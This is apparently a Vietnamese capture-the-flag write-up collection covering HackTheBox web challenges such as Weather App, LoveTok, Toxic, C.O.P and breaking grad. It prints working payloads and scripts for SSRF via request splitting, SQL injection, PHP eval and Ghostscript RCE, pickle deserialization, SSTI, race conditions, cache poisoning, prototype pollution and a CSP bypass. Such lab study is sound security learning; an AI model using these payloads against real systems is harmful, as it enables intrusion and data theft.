Try   HackMD

Weather App

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Oke bắt đầu:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Bài có cho source code:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Vào routes xem các endpoint:

  • /register (POST):

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Đầu tiên nó kiểm tra IP thực hiện request nếu là 127.0.0.1 thì mới thực hiện tiếp. (Ta có thể nghĩ đến SSRF)
Sau đó nó nhận 2 param (username, password) và đưa vào function register() trong database.js:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

2 param đó được đưa vào query INSERT INTO ... nhưng không qua sanitize hay filter gì => lỗ hổng SQLi

  • /login (POST):

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Nó cũng nhận 2 param (username, password) rồi đưa vào function isAdmin(), ta kiểm tra trong file database.js:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Function này không bị lỗ hổng SQLi vì sử dụng prepare. Như vậy nếu login vào acc có username là admin thì flag sẽ hiện ra.

  • Tiếp tục với endpoint /api/weather:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Nó nhận 3 param (endpoint, city, country) và xử lý qua getWeather():

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Xem request qua burp thấy:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Như vậy đến đây cũng có thể nghĩ đến việc dựa vào đây để thực hiện SSRF => SQLi. Tuy nhiên việc thực hiện SSRF như thế nào ???

Xem qua thông tin trên package.json và tìm ta thấy node xài version 8.12.0 và:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Xác định node đang bị lỗ hổng Http request splitting (hoặc Response Splitting  hay là CRLF Injection).

Link tham khảo:

Sơ lược về lỗ hổng này là việc kẻ tấn công kiểm soát được param hay các header và sau khi gửi request chứa dữ liệu độc hại có thể làm server hiểu rằng có thêm request khác và thực hiện nó.
Vậy nó thực hiện như thế nào???
Đó là việc NodeJS nhận request và chuyển nó sang dạng chuỗi byte rồi sử dụng latin1 để decode xử lý header và với các ký tự Unicode lớn sẽ bị cắt bớt ví dụ:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Tương tự thì \u010A\n\u0120 sẽ là (space).
Như ta đã biết là việc sử dụng \r\n để xuống dòng và \r\n\r\n để kết thúc request và tiếp đến sẽ là request tiếp theo, lợi dụng điều đó ta có thể thực thi tấn công tạo thêm request để máy chú thực hiện (SSRF).
Ví dụ:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Tiếp tục với lỗ hổng SQLi với query là INSERT ..., ta không thể inject để tạo thêm 1 acc có username là admin được vì đã tồn tại mà thay vào đó ta sử dụng ON CONFLICT để update ví dụ:

INSERT INTO users (username, password) VALUES ('admin','1') ON CONFLICT(username) DO UPDATE SET password='1'

Ví dụ:
Có username admin với password là qwerty

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Sau đó:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Như vậy trong bài này ta sẽ inject vào username và password là:
username=admin&password=1') ON CONFLICT(username) DO UPDATE SET password='abc';-- khi đó password của admin sẽ trở thành abc.

Như vậy ta script:

import requests
url = "http://206.189.120.31:32420/api/weather"
username = "admin"
password = "1') ON CONFLICT(username) DO UPDATE SET password='abc';--"

parsedUser = username
parsedPass = password.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
data=f"username={parsedUser}&password={parsedPass}"
contentLength = len(data)

endpoint="127.0.0.1/\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120"+str(contentLength)+"\u010D\u010A\u010D\u010A"+data+"\u010D\u010A\u010D\u010AGET\u0120/"

r = requests.post(url = url, json={'endpoint': endpoint, 'city': 'Hanoi','country': 'VN'})

Tóm lại sẽ thế này:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Sau đó login vào với username là admin và password là abc:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

LoveTok

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Oke bắt đầu:
Có vẻ đây là app tạo ra time gì đó:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Đi vào source code được cho xem thử:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Xem file index.php:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Tìm hiểu theo flow của code thì có thứ đáng chú ý, đó là nó sẽ tạo đối tượng TimeController như sau:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Như vậy là bài nhận 1 param format (nếu không sẽ tự gán bằng r) rồi tạo đối tượng qua class TimeModel và gọi method getTime():

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Như vậy là format được xử lý qua addslashes() rồi được đưa vào eval() - một hàm nguy hiểm trong php vì nó có thể thực thi code.

  • addslashes() sẽ thêm \ vào có ký tự như: ', ", \, null.
  • eval() có thể thực thi code độc hại như: eval('system("id");').
    Mặt khác:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Flag nằm ở \ với tên chứa ký tự random. Vì vậy ta có thể nghĩ đến việc RCE qua eval().

Vậy đầu tiên bypass cái addslashes() như thế nào?
Đó là việc sử dụng ${}.
Nó là syntax có thể nhúng biến vào ví dụ:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Tuy nhiên nó cũng có thể thực thi code php, mình có ví dụ đơn giản:

Kết quả của system('whoami')kali:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

code test:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Kết quả:

Tham khảo thêm ở đây.

Oke ta chỉ cần biết nó có thể thực thi code, bây giờ test với payload: ${phpinfo()}, kết quả:

Như vậy là thành công, giờ ta sẽ RCE qua payload: ${system($_GET[1])} cùng với &1=command:

Giờ chỉ việc đọc flag:

Toxic

Oke bài cho source code:

Vẫn giống bài trước là phải RCE:

File index.php:

Như vậy là cookie chứa serialize data và được deserialize qua hàm unserialize(). Oke đến đây ta xác định bài này thuộc lỗ hổng Insecure Deserialization.
Giờ ta đi tìm và phần tích các class và có class PageModel:

Như vậy ta tìm được hàm include() đây là filesystem functions có thể khai thác đuợc vì có thể đọc được nội dung file từ system.
Nó nằm trong __destruct() - magic method này sẽ tự động thực thi khi đối tượng bị hủy hoặc chương trình kết thúc.
Lỗ hổng này cho phép sửa các thuộc tính cũng như object, nghĩa là ta kiểm soát được include($this->file); => LFI.
Ví dụ script khai thác đơn giản để đọc file /etc/passwd:

<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}
$a=new PageModel();
$a->file='/etc/passwd';
echo base64_encode(serialize($a));
?>

Kết quả được: Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=
Giờ test nó:

Vậy là thành công đạt LFI, và để nó dẫn đến RCE cũng có nhiều cách và đơn giản nhất mà mình thử thành công là thông qua file log vì theo source mình biết được máy chủ là nginx, cũng qua file Dockerfile mình test thành công /var/log/nginx/access.log, giờ set nó giá trị file của script trên mà test:

Giờ chỉ việc inject code vào User-Agent:

Send lại:

Giờ chỉ việc đọc flag:

petpet rcbee

Oke bắt đầu:

Nhìn sơ qua dễ dàng đoán được bài này thuộc lỗ hổng file uploads, mình thử up lên một ảnh thì nó trả lại ảnh gif, giờ tìm hiểu xem source nó đã xử lý thế nào:

Như vậy app chạy bằng Flask với Blueprint. Xem các endpoint trong file routes.py:

Như vậy khi up file lên thành công nó lại được đưa vào func petpet(), tiếp tục xem nó trong file util.py:

Tóm lại allowed_file() kiểm tra extension file qua rsplit(), save_tmp() xử lý tên file qua secure_filename()petmotion() để convert sang gif. Mình thử xem cách hoạt động từng function trên nhưng không tìm được cách bài bypass thông thường. Đến đây ta tiếp tìm các lỗ hổng hay CVE của thư viện, framework và đúng vậy trong file Dockerfile có:

Như vậy là được install thêm cái gì đấy, giờ search google xem:

Sau 1 hồi tìm tòi xác định dính CVE-2018-16509.

Tổng quan:
Ghostscript là phần mềm để thao tác với các file Postscript và PDF. Nó tồn tại trong server (/usr/local/bin/gs), hiểu đơn giản là nhờ vậy mà nó có thể thực thi command -> RCE. Các functions như resize, crop, rotate, và save là nguyên nhân kích hoạt lỗ hổng này.
Tham khảo thêm: https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509

Oke giờ dùng tạo 1 file ps chứa code độc hại rồi đổi sang extension được phép:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ls > /app/application/static/petpets/oke.txt) currentdevice putdeviceprops

Như vậy là kết quả ls được lưu vào path /app/application/static/petpets/oke.txt mà ta truy cập được. Upload và vào xem kết quả:

và giờ đọc flag bằng cat flag:

Diogenes' Rage

Neonify

Oke bắt đầu:

App được viết bằng ruby và có 1 input khi nhập vào sẽ in ra:

Có thể đây là lỗ hổng SSTI, giờ vào source xem nó xử lý input thế nào:

Như vậy là param neon được match với regex /^[0-9a-z ]+$/i, nếu đúng thì sẽ sử dụng engine ERB để in ra (xảy ra SSTI). Nhưng chỉ được dùng số mà chữ cái thì không tạo được payload nào để có thể đọc flag.
Để ý thì regex /^[0-9a-z ]+$/i chỉ có flag là i (case Insensitive) mà không có m (Multiline) nghĩa là regex đó chỉ áp dụng cho dòng đầu tiên, vậy ta chỉ cần inject payload vào dòng sau là không bị match.
Oke mở burp dùng %0a(encode của newline) xem sao và sau khi fuzz vài payload thì thấy nó hoạt động với <%= 7*7 %>:

Giờ tìm và đọc flag với payload: <%= cmd %>:
(Tham khảo thêm payload tại đây)

Diogenes' Rage

Oke bắt đầu:

Nhìn sơ qua có vẻ là app mua đồ gì đó, giờ đi vào source xem:

File routes/index.js chứa 2 endpoint đáng chú ý:

  • /api/purchase, đây là nơi flag xuất hiện:

Hàm registerUser() tạo user tuy nhiên giá trị balance (dùng để mua item) mặc định bằng 0:

flag xuất hiện khi mua thành công item có item_name=='C8' và nó có giá là 13.37:

  • Endpoint tiếp theo là /api/coupons/apply:

Đây là nơi apply coupon và nó có coupon_codeHTB_100 với giá trị là 1:

Như vậy nếu có apply coupon cũng không đủ để mua item C8 chứa flag:

Vậy lỗ hổng nằm ở đâu???. Các func trong database.js đều sử dụng prepare() nên không thể SQLi, trông việc apply coupon thì có check user đã dùng chưa:

Vậy liệu có thể apply nhiều cái vào 1 user không? Như đã biết thì bài này dùng Async / Await để xử lý các tác vụ bất đồng bộ cần thời gian xử lý, đó là ý tưởng có thể xảy ra race condition (à thật ra là mình đã đọc wu rùi :>>).

Sơ lược:
Race condition(Time Of Check/Time Of Use, TOC/TOU) xảy ra khi có nhiều threads cùng truy cập vào tài nguyên nhằm thay đổi dữ liệu.
Tham khảo thêm:

Giờ có thể exploit bằng python script. Không hiểu sao mình dùng multiprocessingrequests lại không được nên mình dựa vào đây (sử dụng asynciohttpx) rồi build lại :>. Ngoài ra bài writeup này viết script bằng golangcurl. Và cũng có thể dùng extension Turbo Intruder trong Burp để giải.

import asyncio
import httpx

url="http://143.110.169.131:32424"
headers={"Content-Type":"application/json"}

def get_session():
    json={"item":"A1"}
    r=httpx.post(url+"/api/purchase",headers=headers,json=json)
    return r.cookies['session']

async def exploit(client,c):
    json={"coupon_code":"HTB_100"}
    resp = await client.post(url+'/api/coupons/apply', cookies={"session": c}, json=json,headers=headers)
    return resp.text

def get_flag(c):
    json={"item":"C8"}
    r=httpx.post(url+"/api/purchase",headers=headers,json=json, cookies={"session": c})
    print(r.json())
async def main():
    c=get_session()
    async with httpx.AsyncClient() as client:
        tasks = []
        for _ in range(30): #30 times
            tasks.append(asyncio.ensure_future(exploit(client,c)))
        results = await asyncio.gather(*tasks, return_exceptions=True)
        for r in results:
            print(r)     
        await asyncio.sleep(1)
    get_flag(c)

asyncio.run(main())

Giải thích 1 chút là đầu tiên cần mua item để lấy session xác định user được sử dụng (get_session()), sau đó sau đó sử dụng asyncio để exploit cụ thể là tạo 30 tác vụ bất đồng bộ để apply coupon vào user (đã xác định qua session trên) và cuối cùng là mua item C8 để lấy flag (get_flag()).
Kết quả:

C.O.P

Khi click vào sản phẩm:

Oke đi vào source code lun nhé:

App được chạy bằng Flask:

Ngoài ra app sử dụng module pickle, đây là module nguy hiểm.

Theo docs đề cập:

Warning The pickle module is not secure. Only unpickle data you trust.
It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Tiếp tục:

Trong file database.py:

item lưu các đối tượng Item. Tiếp theo là sử dụng pickle chuyển các phần tử thành 1 chuỗi bytes rồi base64 encode và trả về mảng shop chúa các chuỗi dạng base64. Cuối cùng là thực thi các câu truy vấn trong schema.sql sau khi đưa các giá trị shop vào:

Như vậy chắc chắn là app đang bị lỗ hổng Insecure Deserialization.

Sơ lược về lỗ hổng này:
Đầu tiên muốn truyền tải hay lưu trữ dữ liệu(đối tượng) thì các dữ liệu(đối tượng) đó cần chuyển đổi về dạng như chuỗi byte(với module pickle như bài này), string, JSON, YAML, đó là serialize data. Quá trình này gọi là serilization (dumps()/dumps() trong pickle). Và để trở lại trạng thái ban đầu thì cần quá trình ngược lại là deserialization (load()/loads() trong pickle). Khi dữ liệu trong quá trình này nhận được người dùng kiểm soát dẫn đến việc chèn vào các malicious code dẫn đến xảy ra lỗ hổng.

Như đã nhắc đến đó là giá trị mảng shop (nó được lấy ra và đưa vào loads() trong file app.py), liệu ta có thể kiểm soát nó? Tìm hiểu cách nó lấy ra cụ thể trong file models.py:

Như ta thấy product_id có thể kiểm soát được và nó không hề được filter hay sanitize gì dẫn đến lỗ hổng SQLi. Ví dụ với product_id bằng 1 tương ứng với url http://159.65.81.48:32174/view/1 thì sẽ lấy ra chuối base64 như đã nhắc ở trên và qua loads() để render ra thông tin sản phẩm. Vậy lợi dụng SQLi dùng query UNION để thực thi tấn công.
Giờ chỉ việc tạo payload đọc flag ở file /flag.txt (theo source).
Script:

import pickle, base64

class test:
    def __reduce__(self):
        p="open('/flag.txt').read()"
        return (eval,(p,))

rs={'name':test()}

print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))

EasterBunny

Oke bắt đầu thôi :V

Nhìn như app có thể gửi thư và giờ tìm hiểu source code thôi.

Bắt đầu với file database.js trước vì nó chứa flag:

Flag có id3hidden1. Trong file này có hàm insertMessage() để insert vào db và getMessage() để lấy message với giá trị id.
Như vậy có thể lấy flag bằng cách gọi hàm này với đối số id là 3. Ngoài ra mọi truy vấn đều dùng prepare nên sẽ không bị SQLi.
Tiếp tục với file routes.js để xem các endpoints:

  • //letter: sử dụng cdn để cấu hình server:

Cụ thể là nó được đưa vào tag base:

tag base sử dụng để xác định base URL nghĩa là:
Nếu các tag với đường dẫn tương đối như: <script src="viewletter.js"></script> và có tag base: <base href="https://atttack.com" /> nghĩa là viewletter.js có đường dẫn tuyệt đối là https://atttack.com/viewletter.js. Như vậy kẻ tấn công đã thao túng được file này.
Mặt khác cdn(content delivery network) lại được chỉ định bởi header X-Forwarded-Host (kiểm soát được bởi người dùng) => có vector tấn công.

  • /submit (POST): nhận vào message từ người dùng và được insert vào db, sau đó dùng bot để truy cập. Đến đây có thể nghĩ về lỗ hổng XSS.

  • Cuối cùng là /message/:id, ở đây có getMessageCount() (dùng để lấy flag), đồng thời phải qua được isAdmin() (hàm này kiểm tra ip127.0.0.1 có thể nghĩ đến SSRF).

Như vậy là có lỗ hổng XSS dấn đến SSRF lấy flag. Vậy giờ chỉ cần dựa vào vector tấn công (cdn) để tạo ra XSS. Tổng quan 1 chút thì web sử dụng varnish(cấu hình ở file cache.vcl) để sử dụng cache lưu trữ, kết hợp lại đó là lỗ hổng Web cache poisoning.

Sơ lược về lỗ hổng này:
Đầu tiên nói về việc dùng cache để lưu trữ: khi có 1 request nó sẽ kiểm tra xem trong cache có request nào tương tự không, nếu có sẽ lấy response ở đó trả không thì lại nhờ server trả về và khi đó có thể response đó lại được lưu vào cache. Lợi dụng điều đó, kẻ tấn công sẽ tạo malicous request có response chứa malicous code, khi đó nạn nhận gửi request tương tự thì cache sẻ trả về respons đó. Để làm được điều này cần dựa vào các yếu tố như key để xác định request, thời gian cache hết hạn,

Trong bài này cache sẽ hết hạn sau 60s, 1 dấu hiệu khác là trong response có header X-Cache nếu giá trị là MISS nghĩa là nó không có trong cache và sẽ được lưu vào cache còn HIT nghĩa là nó lấy trong cache.

Giờ ta tạo 1 malicous request /letter?id= dựa vào header HostX-Forwarded-Host. Vì mỗi lần /submit thì id tăng 1, nên cần tạo ra malicous request với id là thêm 1 so với hiện tại.
Như đã nói trên ta có kiểm soát được file viewletter.js, dựa vào đó tạo code để fetch đến các endpoints thực thi SSRF:

fetch("http://127.0.0.1/message/3").then((r) => {
    return r.text();
}).then((x) => {
    fetch("http://127.0.0.1/submit", {
        "headers": {
            "content-type": "application/json"
        },
        "body": x,
        "method": "POST"
    });
});

Sao cho:

Giờ tạo malicous request:

Giờ submit đồng thời file viewletter.js cũng được thực thi luôn:

Flag sẽ nằm trong message (id=18) được tạo bởi file trên (lấy message của id3):

breaking grad

Bài cho source code:

Theo file Dockerfile, tên file flag tạo từ các ký tự ngẫu nhiên, vì vậy ta nghĩ đến RCE:

Bắt đầu với file routes/index.js:

  • /debug/:action: nhận param action:

và được xử lý bới excute():

Hàm này có sử dụng module child_process để thực thi command.

  • /api/calculate tạo đối tượng student với 2 thuộc tính namepaper:

và được xử lý qua clone():

Như vậy nó sử dụng phương pháp không an toàn để hợp nhất các đối tượng (merge), điều này dẫn đến lỗ hổng Prototype pollution.

Sơ lược về lỗ hổng này:
Trong JS mọi đối tượng đều có thuộc tính __proto__, thuộc tính này trỏ đến đối tượng khác gọi là prototype. Prototype pollution là lỗ hổng bảo mật xảy ra khi kẻ xấu tấn công vào các prototype đó, khi đó đối tượng cũng bị thay đổi vì nó được kế từ prototype của nó.

Tuy nhiên trong bài __proto__ đã bị filter và ta có thể gọi đến prototye bằng 1 cách khác là constructor.prototype.
Kiểm tra theo trong bài và theo file StudentHelper.js, nếu name có chứa Baker hoặc Purvis hoặc giá trị paper<10 thì sẽ được chuỗi ngầu nhiên như bên dưới:

Ngược lại thì Passed..

Như vậy là student được kế thừa giá trị paper từ prototype của nó => thành công.

Như đã nói ở trên ứng dụng sử dụng child_process nên ta có thể RCE bằng payload:

{"constructor":{"prototype":{"execPath":"ls","execArgv":["-la","."]}}}

Sau đó kiểm tra tại /debug/version:

Và chỉ việc đọc flag:

{"constructor":{"prototype":{"execPath":"cat","execArgv":["flag_e1T6f"]}}}

TwoDots Horror

Source code:

Tổng quan:
Database có 2 bảng là usersposts với các hàm dùng để register, login, create post, (đều sử dụng prepare nên không thể SQLi)

Flag nằm trong cookie của con bot, và nó có truy cập http://127.0.0.1:1337/review:

Như vậy khả năng đây là lỗ hổng XSS để steal cookie.
Xem file routes/index.js xem các endpoints:

  • /review chỉ bot mới truy cập được và xem các posts.

Và trong review.html:

{{ post.content|safe }}safe cho phép in ra các tag HTML => XSS

  • /api/register: đăng ký user.
  • /api/login: đăng nhập.
  • /feed: chứa các bài posts.
  • /profile: thông tin user.
  • /api/submit: có chức năng tạo post, yêu cầu content chứa 2 dấu . và có bot xem:

  • /api/upload: chức năng upload avatar user. Nó được xử lý qua 2 module is-jpgimage-size, có thể xảy ra lỗ hổng file upload.

  • /api/avatar/:username: sử dụng sendFile() để trả về file avatar qua HTTP.
  • /logout: đăng xuất.

Như vậy ở /api/submit là nơi bắt đầu XSS vì nó không được fillter gì. Mặt khác ứng dụng được enable CSP:

Vì vậy sử dụng file upload để đạt XSS nhằm bypass CSP là ý tưởng của bài này.
/api/avatar/:username có extract data của avatar, ta nghĩ đến việc chèn payload JS gì đó vào đó. Khi có tag <script src="/api/avatar/:username"></script> thì nó thực thi code JS trong data đó. Quan trọng là cần tìm cách để code JS hợp lệ và thực thi được.
Giờ xem lại module is-jpg nó sẽ kiểm tra bytes header của ảnh. (xem mã nguồn của nó)

Còn module image-size(mã nguồn tại đây): nó sẽ kiểm tra buffer của ảnh để lấy widthheight sao cho cả 2 lớn hơn 120 là được.
Cụ thể là nó xử lý qua 2 hàm chính là validate() (kiểm tra 2 bytes đầu), còn calculate() thì:

Một kỹ thuật để tạo JPEG chứa payload liên quan đến bài: https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs

Trước khi tạo ảnh thì ta cần biết JS sẽ thực thi kiểu như thế này:

Oke bắt đầu: sau khi bỏ 4 bytes signature của JPEG thì 2 bytes tiếp theo sẽ là chỉ định độ dài của JPEG header và đồng thời phải hợp lệ trong JS và ta chọn là 09 3a (bài trên có giải thích :V). Ngoài ra thêm 4 bytes tiếp là 4A 46 49 46 (để cho nó có định dạng là JFIF cho js hợp lệ) và sử dụng 2A(*2F(/) để comment. Quay trở lại hàm calculate ở trên, giá trị biến i sẽ là 2362 vậy byte thứ 2362 (kể từ byte thứ 4 vì đã bỏ 4 bytes đầu) sẽ có giá trị là FF, byte tiếp theo sẽ là C1 hoặc C2 hoặc C3 và 4 byte ở index 2367->2370 là size ảnh.
Mình tạo bằng tay qua HxD editor hoặc có thể dùng script này.

Và đệm thêm byte cho đến khi cần ():

Giờ dùng nó để update avatar:

Và dùng payload:
<script charset="ISO-8859-1" src="/api/avatar/:username"></script>..
(tại sao dùng charset="ISO-8859-1" thì bài viết trên cũng nói ròi :V)

Kết quả:

RenderQuest

Bài viết bằng golang và fuzz qua trang web ta thấy được:

  • Param page có giá trị là 1 file:

  • Có 1 form nhập vào ?use_remote=true&page=, và sẽ request đến page:

Như vậy có thể là 1 bài về SSRF, bây giờ xem source có gì:
Hàm main:

Và ta sẽ tập trung vào /render:

Hàm readRemoteFile sẽ thực hiện request:

Nhưng nó không có gì đặc biệt, tạm bỏ qua nó và xem tiếp:

Như ta thấy, xuất hiện hàm FetchServerInfo có thể thực thi command:

Trong code Go, giá trị như reqData.ServerInfo.Hostname ở trên được truyền vào template HTML và hiển thị trong trang web thông qua template (.tpl):

<h2>Hostname: {{.ServerInfo.Hostname}}</h2>

Và khi gọi:

Các kết quả trả về từ FetchServerInfo được in ra.

Như vậy ta có thể lợi dụng request từ SSRF để thực thi hàm kia:

Kết quả:

Oke vậy là thành công, mà không chỉ vậy ta có thể truyền đối số vào hàm theo ý muốn:

Kết quả:

Giờ chỉ việc đọc flag:

ProxyAsAService

image.png

Theo source, bài sẽ có 2 service là proxy_apidebug với 2 endpoints:

  • /:

    image.png

    Ở đây nó sẽ request đến target_url để render toàn bộ web đó.
    target_url chúng ta có thể kiểm soát được biến url (đóng vai trò như path của URL của site reddit.com)

    image.png

  • /debug/environment:

    image.png
    Nó thực thi command os.environ để list các biến môi trường và ở đây nó có flag (theo Dockerfile):
    image.png

Okay, endpoint để lấy flag là /debug/environment cần điều kiện là ip localhost:

image.png

Như vậy hướng ở đây là lợi dụng ở endpoint / để kiểm soát target_url trỏ đến localhost:1337/debug/environment
Ta có thể khai thác dựa vào dùng @ để redirect:
http://reddit.com@localhost:1337/debug/environment

Tuy nhiên có vài filter:

image.png

Bypass dễ dàng với 0.0.0.0.
Payload:
@0.0.0.0:1337/debug/environment

image.png

jscalc

image

Đi thẳng vào routes/index.js:

image

Hàm calculate:

image

Như vậy nó sử dụng eval để thực thi 1 đoạn code, cụ thể là fuction và trả về ${ formula } với formula là input.

image

Vậy giờ cần sử dụng đoạn code JS để đọc /flag.txt:

image

Nhận thấy app sử dụng NodeJS, ta có thể import fs và sử dụng readdirSync() để đọc file local với payload:
require('fs').readFileSync('/flag.txt').toString()

image

ApacheBlaze